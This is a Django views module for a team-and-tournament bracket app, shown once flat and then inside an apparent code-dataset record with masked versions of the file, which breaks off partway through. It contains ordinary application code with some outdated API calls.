# Create your views here. from django.http import HttpResponse, HttpResponseRedirect from django.template import Context, loader from django.db import transaction from django.db.models import Q from maximus.models import Mercenary, Team, TeamMember, Tournament, TournamentTeam, TournamentMatchup, Matchup, MatchupStatistics, MatchResult def index(request): model = Context({}) t = loader.get_template('index.html') return HttpResponse(t.render(model)) def create_team(request): def get(): heroes = Mercenary.objects.filter(type='HERO') pawns = Mercenary.objects.filter(type='PAWN') model = Context({ 'heroes': heroes, 'pawns': pawns, 'mercrange': range(1,7), 'teams': get_team_groups() }) t = loader.get_template('teams.html') return HttpResponse(t.render(model)) def post(): team = Team() class_c = request.POST['hero'] leader = Mercenary.objects.filter(type='HERO').filter(name=class_c) team.leader = leader[0] team.wins = 0 team.losses = 0 team.notes = "" team.save() for i in range(1,10): who = request.POST['pawn%s' % i] if who != '': merc = Mercenary.objects.filter(type='PAWN').filter(name=who) current = TeamMember() current.team = team current.merc = merc[0] current.location = i current.save() return HttpResponseRedirect('/app/teams') if request.method == "POST": return post() else: return get() def edit_team(request): def get(): team_id = request.GET["team"] team = Team.objects.get(id=team_id) model = Context({ 'team': team }) t = loader.get_template('edit_team.html') return HttpResponse(t.render(model)) def post(): new_notes = request.POST["notes"] team_id = request.POST["team"] team = Team.objects.get(id=team_id) team.notes = new_notes team.save() return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id) if request.method == "POST": return post() else: return get() def create_tournament(request): def get(): inprogress = Tournament.objects.filter(completed=False); finished = Tournament.objects.filter(completed=True); model = Context({ 'teams': get_team_groups(), "in_progress": inprogress, "finished": finished }) t = loader.get_template('tournament/create_tournament.html') return HttpResponse(t.render(model)) @transaction.commit_on_success def post(): tournament = Tournament() tournament.completed = False tournament.save() for team_id in request.POST.getlist('participant'): if team_id != "": team = Team.objects.get(id=team_id) tourney_team = TournamentTeam() tourney_team.tournament = tournament tourney_team.team = team tourney_team.save() return HttpResponseRedirect('/app/tournament/matchups?tournament=%s' % str(tournament.id)) if request.method == "POST": return post() else: return get() def view_tournament(request): def get(): tourney = Tournament.objects.get(id=request.GET["tournament"]) pending_teams = [] teams = [] for team in tourney.tourney_team_set.all(): if team.matchup_index == None: pending_teams.append(team.team) else: teams.append(team.team) matches = [[i for i in range(0,4)],[i for i in range(0,2)],[0]] for match in tourney.tourney_match_set.all(): matches[match.round][match.index] = match model = Context({ "pending_teams": pending_teams, "teams": teams, "matches": matches, "tourney": tourney}) t = loader.get_template('tournament/view_tournament.html') return HttpResponse(t.render(model)) @transaction.commit_on_success def post(): tourney_id = request.GET["tournament"] tourney = Tournament.objects.get(id=tourney_id) versus = request.POST.getlist("versus") teams = [] for team_id in versus: if team_id != "": teams.append(Team.objects.get(id=team_id)) existing_matches = TournamentMatchup.objects.filter(tournament=tourney) match = Matchup() match.team1 = teams[0] match.team2 = teams[1] match.save() tourney_match = TournamentMatchup() tourney_match.tournament = tourney tourney_match.matchup = match tourney_match.round = 0 tourney_match.index = existing_matches.count() tourney_match.save() tourney_teams = [] tourney_teams.append(TournamentTeam.objects.filter(tournament=tourney).filter(team=teams[0]).get()) tourney_teams.append(TournamentTeam.objects.filter(tournament=tourney).filter(team=teams[1]).get()) tourney_teams[0].matchup_index = tourney_match.index * 2 tourney_teams[1].matchup_index = tourney_match.index * 2 + 1 tourney_teams[0].save(); tourney_teams[1].save(); return HttpResponseRedirect("/app/tournament/matchups?tournament=%s" % tourney_id) if request.method == "POST": return post() else: return get() def result_tournament(request): @transaction.commit_on_success def post(): tournament_match_id = request.GET['tournament_match_key'] match = TournamentMatchup.objects.get(id=tournament_match_id) winner_id = int(request.POST['winner']) matchup = match.matchup result = MatchResult() if winner_id == matchup.team1.id: result.winner = matchup.team1 result.loser = matchup.team2 elif winner_id == matchup.team2.id: result.winner = matchup.team2 result.loser = matchup.team1 else: raise Exception("could not determine winner key: %s (%s, %s)" % (winner_id, matchup.team1.id, matchup.team2.id)) update_stats(result.winner, result.loser) result.save() next_round_indices = {0:0, 1:0, 2:1, 3:1} next_round_index = next_round_indices[match.index] next_round = match.round + 1 if match.round < 2: # look in existing matches for this winner's opponent existing = TournamentMatchup.objects.filter(tournament=match.tournament).filter(round=next_round).filter(index=next_round_index) if existing.count() == 1: next_match = existing[0] next_matchup = next_match.matchup next_matchup.team2 = result.winner next_matchup.save() elif existing.count() == 0: next_match = TournamentMatchup() next_matchup = Matchup() next_matchup.team1 = result.winner next_matchup.save() next_match.tournament = match.tournament next_match.round = next_round next_match.index = next_round_index next_match.matchup = next_matchup next_match.save() else: tourney = match.tournament tourney.completed = True tourney.winner = result.winner tourney.save() match.matchup.delete() match.matchup = None match.result = result match.save() return HttpResponseRedirect("/app/tournament/matchups?tournament=%s" % match.tournament.id) if request.method == "POST": return post() else: return HttpResponseRedirect("/app/tournament/matchups?tournament=%s" % request.GET["tournament"]) def result_detail(request): result_id = request.GET['match'] match = MatchResult.objects.get(id=result_id) model = Context({ 'match': match }) t = loader.get_template('result_detail.html') return HttpResponse(t.render(model)) def get_team_groups(): teams = Team.objects.all() team_groups = { } for team in teams: if not team.leader in team_groups: team_groups[team.leader] = [] team_groups[team.leader].append(team) team_groups = [sorted(team_groups[k], lambda x,y: cmp(x.id, y.id)) for k in sorted(team_groups.keys(), lambda x,y: cmp(x.name, y.name))] return team_groups def update_stats(winner, loser): existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id, loser.id]) & Q(team2__in=[winner.id, loser.id])) stats = None if existing.count() == 0: newStats = MatchupStatistics() newStats.team1 = winner newStats.team2 = loser newStats.team1_wins = 1 newStats.team2_wins = 0 winner.wins = winner.wins + 1 loser.losses = loser.losses + 1 newStats.save() winner.save() loser.save() return (1, 0) elif existing.count() == 1: oldStats = existing.fetch(1)[0] if oldStats.team1.id == winner.id: oldStats.team1_wins = oldStats.team1_wins + 1 else: oldStats.team2_wins = oldStats.team2_wins + 1 winner.wins = winner.wins + 1 loser.losses = loser.losses + 1 oldStats.save() winner.save() loser.save() return (0, 1) else: logging.error("unexpected state: %s matchup statistics for the same team pair (expected 1)" % existing.count()) return (0, 0)
normal
{ "blob_id": "f66f82c5c2842fc4fcae2251d4a16a9850230041", "index": 3547, "step-1": "<mask token>\n\n\ndef edit_team(request):\n\n def get():\n team_id = request.GET['team']\n team = Team.objects.get(id=team_id)\n model = Context({'team': team})\n t = loader.get_template('edit_team.html')\n return HttpResponse(t.render(model))\n\n def post():\n new_notes = request.POST['notes']\n team_id = request.POST['team']\n team = Team.objects.get(id=team_id)\n team.notes = new_notes\n team.save()\n return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef create_tournament(request):\n\n def get():\n inprogress = Tournament.objects.filter(completed=False)\n finished = Tournament.objects.filter(completed=True)\n model = Context({'teams': get_team_groups(), 'in_progress':\n inprogress, 'finished': finished})\n t = loader.get_template('tournament/create_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tournament = Tournament()\n tournament.completed = False\n tournament.save()\n for team_id in request.POST.getlist('participant'):\n if team_id != '':\n team = Team.objects.get(id=team_id)\n tourney_team = TournamentTeam()\n tourney_team.tournament = tournament\n tourney_team.team = team\n tourney_team.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % str(tournament.id))\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef view_tournament(request):\n\n def get():\n tourney = Tournament.objects.get(id=request.GET['tournament'])\n pending_teams = []\n teams = []\n for team in tourney.tourney_team_set.all():\n if team.matchup_index == None:\n pending_teams.append(team.team)\n else:\n teams.append(team.team)\n matches = [[i for i in range(0, 4)], [i for i in range(0, 2)], [0]]\n for match in tourney.tourney_match_set.all():\n matches[match.round][match.index] = match\n model = Context({'pending_teams': pending_teams, 'teams': teams,\n 'matches': matches, 'tourney': tourney})\n t = loader.get_template('tournament/view_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tourney_id = request.GET['tournament']\n tourney = Tournament.objects.get(id=tourney_id)\n versus = request.POST.getlist('versus')\n teams = []\n for team_id in versus:\n if team_id != '':\n teams.append(Team.objects.get(id=team_id))\n existing_matches = TournamentMatchup.objects.filter(tournament=tourney)\n match = Matchup()\n match.team1 = teams[0]\n match.team2 = teams[1]\n match.save()\n tourney_match = TournamentMatchup()\n tourney_match.tournament = tourney\n tourney_match.matchup = match\n tourney_match.round = 0\n tourney_match.index = existing_matches.count()\n tourney_match.save()\n tourney_teams = []\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[0]).get())\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[1]).get())\n tourney_teams[0].matchup_index = tourney_match.index * 2\n tourney_teams[1].matchup_index = tourney_match.index * 2 + 1\n tourney_teams[0].save()\n tourney_teams[1].save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % tourney_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef result_tournament(request):\n\n @transaction.commit_on_success\n def post():\n tournament_match_id = request.GET['tournament_match_key']\n match = TournamentMatchup.objects.get(id=tournament_match_id)\n winner_id = int(request.POST['winner'])\n matchup = match.matchup\n result = MatchResult()\n if winner_id == matchup.team1.id:\n result.winner = matchup.team1\n result.loser = matchup.team2\n elif winner_id == matchup.team2.id:\n result.winner = matchup.team2\n result.loser = matchup.team1\n else:\n raise Exception('could not determine winner key: %s (%s, %s)' %\n (winner_id, matchup.team1.id, matchup.team2.id))\n update_stats(result.winner, result.loser)\n result.save()\n next_round_indices = {(0): 0, (1): 0, (2): 1, (3): 1}\n next_round_index = next_round_indices[match.index]\n next_round = match.round + 1\n if match.round < 2:\n existing = TournamentMatchup.objects.filter(tournament=match.\n tournament).filter(round=next_round).filter(index=\n next_round_index)\n if existing.count() == 1:\n next_match = existing[0]\n next_matchup = next_match.matchup\n next_matchup.team2 = result.winner\n next_matchup.save()\n elif existing.count() == 0:\n next_match = TournamentMatchup()\n next_matchup = Matchup()\n next_matchup.team1 = result.winner\n next_matchup.save()\n next_match.tournament = match.tournament\n next_match.round = next_round\n next_match.index = next_round_index\n next_match.matchup = next_matchup\n next_match.save()\n else:\n tourney = match.tournament\n tourney.completed = True\n tourney.winner = result.winner\n tourney.save()\n match.matchup.delete()\n match.matchup = None\n match.result = result\n match.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % match.tournament.id)\n if request.method == 'POST':\n return post()\n else:\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % request.GET[\n 'tournament'])\n\n\n<mask token>\n\n\ndef get_team_groups():\n teams = Team.objects.all()\n team_groups = {}\n for team in teams:\n if not team.leader in team_groups:\n team_groups[team.leader] = []\n team_groups[team.leader].append(team)\n team_groups = [sorted(team_groups[k], lambda x, y: cmp(x.id, y.id)) for\n k in sorted(team_groups.keys(), lambda x, y: cmp(x.name, y.name))]\n return team_groups\n\n\ndef update_stats(winner, loser):\n existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id,\n loser.id]) & Q(team2__in=[winner.id, loser.id]))\n stats = None\n if existing.count() == 0:\n newStats = MatchupStatistics()\n newStats.team1 = winner\n newStats.team2 = loser\n newStats.team1_wins = 1\n newStats.team2_wins = 0\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n newStats.save()\n winner.save()\n loser.save()\n return 1, 0\n elif existing.count() == 1:\n oldStats = existing.fetch(1)[0]\n if oldStats.team1.id == winner.id:\n oldStats.team1_wins = oldStats.team1_wins + 1\n else:\n oldStats.team2_wins = oldStats.team2_wins + 1\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n oldStats.save()\n winner.save()\n loser.save()\n return 0, 1\n else:\n logging.error(\n 'unexpected state: %s matchup statistics for the same team pair (expected 1)'\n % existing.count())\n return 0, 0\n", "step-2": "<mask token>\n\n\ndef index(request):\n model = Context({})\n t = loader.get_template('index.html')\n return HttpResponse(t.render(model))\n\n\n<mask token>\n\n\ndef edit_team(request):\n\n def get():\n team_id = request.GET['team']\n team = Team.objects.get(id=team_id)\n model = Context({'team': team})\n t = loader.get_template('edit_team.html')\n return HttpResponse(t.render(model))\n\n def post():\n new_notes = request.POST['notes']\n team_id = request.POST['team']\n team = Team.objects.get(id=team_id)\n team.notes = new_notes\n team.save()\n return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef create_tournament(request):\n\n def get():\n inprogress = Tournament.objects.filter(completed=False)\n finished = Tournament.objects.filter(completed=True)\n model = Context({'teams': get_team_groups(), 'in_progress':\n inprogress, 'finished': finished})\n t = loader.get_template('tournament/create_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tournament = Tournament()\n tournament.completed = False\n tournament.save()\n for team_id in request.POST.getlist('participant'):\n if team_id != '':\n team = Team.objects.get(id=team_id)\n tourney_team = TournamentTeam()\n tourney_team.tournament = tournament\n tourney_team.team = team\n tourney_team.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % str(tournament.id))\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef view_tournament(request):\n\n def get():\n tourney = Tournament.objects.get(id=request.GET['tournament'])\n pending_teams = []\n teams = []\n for team in tourney.tourney_team_set.all():\n if team.matchup_index == None:\n pending_teams.append(team.team)\n else:\n teams.append(team.team)\n matches = [[i for i in range(0, 4)], [i for i in range(0, 2)], [0]]\n for match in tourney.tourney_match_set.all():\n matches[match.round][match.index] = match\n model = Context({'pending_teams': pending_teams, 'teams': teams,\n 'matches': matches, 'tourney': tourney})\n t = loader.get_template('tournament/view_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tourney_id = request.GET['tournament']\n tourney = Tournament.objects.get(id=tourney_id)\n versus = request.POST.getlist('versus')\n teams = []\n for team_id in versus:\n if team_id != '':\n teams.append(Team.objects.get(id=team_id))\n existing_matches = TournamentMatchup.objects.filter(tournament=tourney)\n match = Matchup()\n match.team1 = teams[0]\n match.team2 = teams[1]\n match.save()\n tourney_match = TournamentMatchup()\n tourney_match.tournament = tourney\n tourney_match.matchup = match\n tourney_match.round = 0\n tourney_match.index = existing_matches.count()\n tourney_match.save()\n tourney_teams = []\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[0]).get())\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[1]).get())\n tourney_teams[0].matchup_index = tourney_match.index * 2\n tourney_teams[1].matchup_index = tourney_match.index * 2 + 1\n tourney_teams[0].save()\n tourney_teams[1].save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % tourney_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef result_tournament(request):\n\n @transaction.commit_on_success\n def post():\n tournament_match_id = request.GET['tournament_match_key']\n match = TournamentMatchup.objects.get(id=tournament_match_id)\n winner_id = int(request.POST['winner'])\n matchup = match.matchup\n result = MatchResult()\n if winner_id == matchup.team1.id:\n result.winner = matchup.team1\n result.loser = matchup.team2\n elif winner_id == matchup.team2.id:\n result.winner = matchup.team2\n result.loser = matchup.team1\n else:\n raise Exception('could not determine winner key: %s (%s, %s)' %\n (winner_id, matchup.team1.id, matchup.team2.id))\n update_stats(result.winner, result.loser)\n result.save()\n next_round_indices = {(0): 0, (1): 0, (2): 1, (3): 1}\n next_round_index = next_round_indices[match.index]\n next_round = match.round + 1\n if match.round < 2:\n existing = TournamentMatchup.objects.filter(tournament=match.\n tournament).filter(round=next_round).filter(index=\n next_round_index)\n if existing.count() == 1:\n next_match = existing[0]\n next_matchup = next_match.matchup\n next_matchup.team2 = result.winner\n next_matchup.save()\n elif existing.count() == 0:\n next_match = TournamentMatchup()\n next_matchup = Matchup()\n next_matchup.team1 = result.winner\n next_matchup.save()\n next_match.tournament = match.tournament\n next_match.round = next_round\n next_match.index = next_round_index\n next_match.matchup = next_matchup\n next_match.save()\n else:\n tourney = match.tournament\n tourney.completed = True\n tourney.winner = result.winner\n tourney.save()\n match.matchup.delete()\n match.matchup = None\n match.result = result\n match.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % match.tournament.id)\n if request.method == 'POST':\n return post()\n else:\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % request.GET[\n 'tournament'])\n\n\n<mask token>\n\n\ndef get_team_groups():\n teams = Team.objects.all()\n team_groups = {}\n for team in teams:\n if not team.leader in team_groups:\n team_groups[team.leader] = []\n team_groups[team.leader].append(team)\n team_groups = [sorted(team_groups[k], lambda x, y: cmp(x.id, y.id)) for\n k in sorted(team_groups.keys(), lambda x, y: cmp(x.name, y.name))]\n return team_groups\n\n\ndef update_stats(winner, loser):\n existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id,\n loser.id]) & Q(team2__in=[winner.id, loser.id]))\n stats = None\n if existing.count() == 0:\n newStats = MatchupStatistics()\n newStats.team1 = winner\n newStats.team2 = loser\n newStats.team1_wins = 1\n newStats.team2_wins = 0\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n newStats.save()\n winner.save()\n loser.save()\n return 1, 0\n elif existing.count() == 1:\n oldStats = existing.fetch(1)[0]\n if oldStats.team1.id == winner.id:\n oldStats.team1_wins = oldStats.team1_wins + 1\n else:\n oldStats.team2_wins = oldStats.team2_wins + 1\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n oldStats.save()\n winner.save()\n loser.save()\n return 0, 1\n else:\n logging.error(\n 'unexpected state: %s matchup statistics for the same team pair (expected 1)'\n % existing.count())\n return 0, 0\n", "step-3": "<mask token>\n\n\ndef index(request):\n model = Context({})\n t = loader.get_template('index.html')\n return HttpResponse(t.render(model))\n\n\ndef create_team(request):\n\n def get():\n heroes = Mercenary.objects.filter(type='HERO')\n pawns = Mercenary.objects.filter(type='PAWN')\n model = Context({'heroes': heroes, 'pawns': pawns, 'mercrange':\n range(1, 7), 'teams': get_team_groups()})\n t = loader.get_template('teams.html')\n return HttpResponse(t.render(model))\n\n def post():\n team = Team()\n class_c = request.POST['hero']\n leader = Mercenary.objects.filter(type='HERO').filter(name=class_c)\n team.leader = leader[0]\n team.wins = 0\n team.losses = 0\n team.notes = ''\n team.save()\n for i in range(1, 10):\n who = request.POST['pawn%s' % i]\n if who != '':\n merc = Mercenary.objects.filter(type='PAWN').filter(name=who)\n current = TeamMember()\n current.team = team\n current.merc = merc[0]\n current.location = i\n current.save()\n return HttpResponseRedirect('/app/teams')\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef edit_team(request):\n\n def get():\n team_id = request.GET['team']\n team = Team.objects.get(id=team_id)\n model = Context({'team': team})\n t = loader.get_template('edit_team.html')\n return HttpResponse(t.render(model))\n\n def post():\n new_notes = request.POST['notes']\n team_id = request.POST['team']\n team = Team.objects.get(id=team_id)\n team.notes = new_notes\n team.save()\n return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef create_tournament(request):\n\n def get():\n inprogress = Tournament.objects.filter(completed=False)\n finished = Tournament.objects.filter(completed=True)\n model = Context({'teams': get_team_groups(), 'in_progress':\n inprogress, 'finished': finished})\n t = loader.get_template('tournament/create_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tournament = Tournament()\n tournament.completed = False\n tournament.save()\n for team_id in request.POST.getlist('participant'):\n if team_id != '':\n team = Team.objects.get(id=team_id)\n tourney_team = TournamentTeam()\n tourney_team.tournament = tournament\n tourney_team.team = team\n tourney_team.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % str(tournament.id))\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef view_tournament(request):\n\n def get():\n tourney = Tournament.objects.get(id=request.GET['tournament'])\n pending_teams = []\n teams = []\n for team in tourney.tourney_team_set.all():\n if team.matchup_index == None:\n pending_teams.append(team.team)\n else:\n teams.append(team.team)\n matches = [[i for i in range(0, 4)], [i for i in range(0, 2)], [0]]\n for match in tourney.tourney_match_set.all():\n matches[match.round][match.index] = match\n model = Context({'pending_teams': pending_teams, 'teams': teams,\n 'matches': matches, 'tourney': tourney})\n t = loader.get_template('tournament/view_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tourney_id = request.GET['tournament']\n tourney = Tournament.objects.get(id=tourney_id)\n versus = request.POST.getlist('versus')\n teams = []\n for team_id in versus:\n if team_id != '':\n teams.append(Team.objects.get(id=team_id))\n existing_matches = TournamentMatchup.objects.filter(tournament=tourney)\n match = Matchup()\n match.team1 = teams[0]\n match.team2 = teams[1]\n match.save()\n tourney_match = TournamentMatchup()\n tourney_match.tournament = tourney\n tourney_match.matchup = match\n tourney_match.round = 0\n tourney_match.index = existing_matches.count()\n tourney_match.save()\n tourney_teams = []\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[0]).get())\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[1]).get())\n tourney_teams[0].matchup_index = tourney_match.index * 2\n tourney_teams[1].matchup_index = tourney_match.index * 2 + 1\n tourney_teams[0].save()\n tourney_teams[1].save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % tourney_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef result_tournament(request):\n\n @transaction.commit_on_success\n def post():\n tournament_match_id = request.GET['tournament_match_key']\n match = TournamentMatchup.objects.get(id=tournament_match_id)\n winner_id = int(request.POST['winner'])\n matchup = match.matchup\n result = MatchResult()\n if winner_id == matchup.team1.id:\n result.winner = matchup.team1\n result.loser = matchup.team2\n elif winner_id == matchup.team2.id:\n result.winner = matchup.team2\n result.loser = matchup.team1\n else:\n raise Exception('could not determine winner key: %s (%s, %s)' %\n (winner_id, matchup.team1.id, matchup.team2.id))\n update_stats(result.winner, result.loser)\n result.save()\n next_round_indices = {(0): 0, (1): 0, (2): 1, (3): 1}\n next_round_index = next_round_indices[match.index]\n next_round = match.round + 1\n if match.round < 2:\n existing = TournamentMatchup.objects.filter(tournament=match.\n tournament).filter(round=next_round).filter(index=\n next_round_index)\n if existing.count() == 1:\n next_match = existing[0]\n next_matchup = next_match.matchup\n next_matchup.team2 = result.winner\n next_matchup.save()\n elif existing.count() == 0:\n next_match = TournamentMatchup()\n next_matchup = Matchup()\n next_matchup.team1 = result.winner\n next_matchup.save()\n next_match.tournament = match.tournament\n next_match.round = next_round\n next_match.index = next_round_index\n next_match.matchup = next_matchup\n next_match.save()\n else:\n tourney = match.tournament\n tourney.completed = True\n tourney.winner = result.winner\n tourney.save()\n match.matchup.delete()\n match.matchup = None\n match.result = result\n match.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % match.tournament.id)\n if request.method == 'POST':\n return post()\n else:\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % request.GET[\n 'tournament'])\n\n\ndef result_detail(request):\n result_id = request.GET['match']\n match = MatchResult.objects.get(id=result_id)\n model = Context({'match': match})\n t = loader.get_template('result_detail.html')\n return HttpResponse(t.render(model))\n\n\ndef get_team_groups():\n teams = Team.objects.all()\n team_groups = {}\n for team in teams:\n if not team.leader in team_groups:\n team_groups[team.leader] = []\n team_groups[team.leader].append(team)\n team_groups = [sorted(team_groups[k], lambda x, y: cmp(x.id, y.id)) for\n k in sorted(team_groups.keys(), lambda x, y: cmp(x.name, y.name))]\n return team_groups\n\n\ndef update_stats(winner, loser):\n existing = MatchupStatistics.objects.filter(Q(team1__in=[winner.id,\n loser.id]) & Q(team2__in=[winner.id, loser.id]))\n stats = None\n if existing.count() == 0:\n newStats = MatchupStatistics()\n newStats.team1 = winner\n newStats.team2 = loser\n newStats.team1_wins = 1\n newStats.team2_wins = 0\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n newStats.save()\n winner.save()\n loser.save()\n return 1, 0\n elif existing.count() == 1:\n oldStats = existing.fetch(1)[0]\n if oldStats.team1.id == winner.id:\n oldStats.team1_wins = oldStats.team1_wins + 1\n else:\n oldStats.team2_wins = oldStats.team2_wins + 1\n winner.wins = winner.wins + 1\n loser.losses = loser.losses + 1\n oldStats.save()\n winner.save()\n loser.save()\n return 0, 1\n else:\n logging.error(\n 'unexpected state: %s matchup statistics for the same team pair (expected 1)'\n % existing.count())\n return 0, 0\n", "step-4": "from django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import Context, loader\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom maximus.models import Mercenary, Team, TeamMember, Tournament, TournamentTeam, TournamentMatchup, Matchup, MatchupStatistics, MatchResult\n\n\ndef index(request):\n model = Context({})\n t = loader.get_template('index.html')\n return HttpResponse(t.render(model))\n\n\ndef create_team(request):\n\n def get():\n heroes = Mercenary.objects.filter(type='HERO')\n pawns = Mercenary.objects.filter(type='PAWN')\n model = Context({'heroes': heroes, 'pawns': pawns, 'mercrange':\n range(1, 7), 'teams': get_team_groups()})\n t = loader.get_template('teams.html')\n return HttpResponse(t.render(model))\n\n def post():\n team = Team()\n class_c = request.POST['hero']\n leader = Mercenary.objects.filter(type='HERO').filter(name=class_c)\n team.leader = leader[0]\n team.wins = 0\n team.losses = 0\n team.notes = ''\n team.save()\n for i in range(1, 10):\n who = request.POST['pawn%s' % i]\n if who != '':\n merc = Mercenary.objects.filter(type='PAWN').filter(name=who)\n current = TeamMember()\n current.team = team\n current.merc = merc[0]\n current.location = i\n current.save()\n return HttpResponseRedirect('/app/teams')\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef edit_team(request):\n\n def get():\n team_id = request.GET['team']\n team = Team.objects.get(id=team_id)\n model = Context({'team': team})\n t = loader.get_template('edit_team.html')\n return HttpResponse(t.render(model))\n\n def post():\n new_notes = request.POST['notes']\n team_id = request.POST['team']\n team = Team.objects.get(id=team_id)\n team.notes = new_notes\n team.save()\n return HttpResponseRedirect('/app/teams/edit?team=%s' % team_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef create_tournament(request):\n\n def get():\n inprogress = Tournament.objects.filter(completed=False)\n finished = Tournament.objects.filter(completed=True)\n model = Context({'teams': get_team_groups(), 'in_progress':\n inprogress, 'finished': finished})\n t = loader.get_template('tournament/create_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tournament = Tournament()\n tournament.completed = False\n tournament.save()\n for team_id in request.POST.getlist('participant'):\n if team_id != '':\n team = Team.objects.get(id=team_id)\n tourney_team = TournamentTeam()\n tourney_team.tournament = tournament\n tourney_team.team = team\n tourney_team.save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % str(tournament.id))\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef view_tournament(request):\n\n def get():\n tourney = Tournament.objects.get(id=request.GET['tournament'])\n pending_teams = []\n teams = []\n for team in tourney.tourney_team_set.all():\n if team.matchup_index == None:\n pending_teams.append(team.team)\n else:\n teams.append(team.team)\n matches = [[i for i in range(0, 4)], [i for i in range(0, 2)], [0]]\n for match in tourney.tourney_match_set.all():\n matches[match.round][match.index] = match\n model = Context({'pending_teams': pending_teams, 'teams': teams,\n 'matches': matches, 'tourney': tourney})\n t = loader.get_template('tournament/view_tournament.html')\n return HttpResponse(t.render(model))\n\n @transaction.commit_on_success\n def post():\n tourney_id = request.GET['tournament']\n tourney = Tournament.objects.get(id=tourney_id)\n versus = request.POST.getlist('versus')\n teams = []\n for team_id in versus:\n if team_id != '':\n teams.append(Team.objects.get(id=team_id))\n existing_matches = TournamentMatchup.objects.filter(tournament=tourney)\n match = Matchup()\n match.team1 = teams[0]\n match.team2 = teams[1]\n match.save()\n tourney_match = TournamentMatchup()\n tourney_match.tournament = tourney\n tourney_match.matchup = match\n tourney_match.round = 0\n tourney_match.index = existing_matches.count()\n tourney_match.save()\n tourney_teams = []\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[0]).get())\n tourney_teams.append(TournamentTeam.objects.filter(tournament=\n tourney).filter(team=teams[1]).get())\n tourney_teams[0].matchup_index = tourney_match.index * 2\n tourney_teams[1].matchup_index = tourney_match.index * 2 + 1\n tourney_teams[0].save()\n tourney_teams[1].save()\n return HttpResponseRedirect(\n '/app/tournament/matchups?tournament=%s' % tourney_id)\n if request.method == 'POST':\n return post()\n else:\n return get()\n\n\ndef result_tournament(request):\n\n @transaction.commit_on_success\n def post():\n tournament_match_id = request.GET['tournament_match_key']\n match = TournamentMatchup.objects.get(id=tournament_match_id)\n winner_id = int(request.POST['winner'])\n matchup = match.matchup\n result = MatchResult()\n if winner_id == matchup.team1.id:\n result.winner = matchup.team1\n result.loser = matchup.team2\n elif winner_id == matchup.team2.id:\n result.winner = matchup.team2\n result.loser = matchup.team1\n else:\n raise Exception('could not determine winner key: %s (%s, %s)' %\n (winner_id, matchup.team1.id, matchup.team2.id))\n update_stats(result.winner, result.loser)\n result.save()\n next_round_indices = {(0): 0, (1): 0, (2): 1, (3): 1}\n next_round_index = next_round_indices[match.index]\n next_round = match.round + 1\n if match.round < 2:\n existing = TournamentMatchup.objects.filter(tournament=match.\n tournament).filter(round=next_round).filter(index=\n next_round_index)\n if existing.count() == 1:\n next_match = existing[0]\n next_matchup = next_match.matchup\n next_matchup.team2 = result.winner\n next_matchup.save()\n elif existing.count() == 0:\n next_match = TournamentMatchup()\n next_matchup = Matchup()\n next_matchup.team1 = result.winner\n next_matchup.save()\n next_match.tournament = match.tournament\n next_match.round = next_round\n next_match.index = next_round_index\n next_match.matchup = next_matchup\n next_match.save()\n 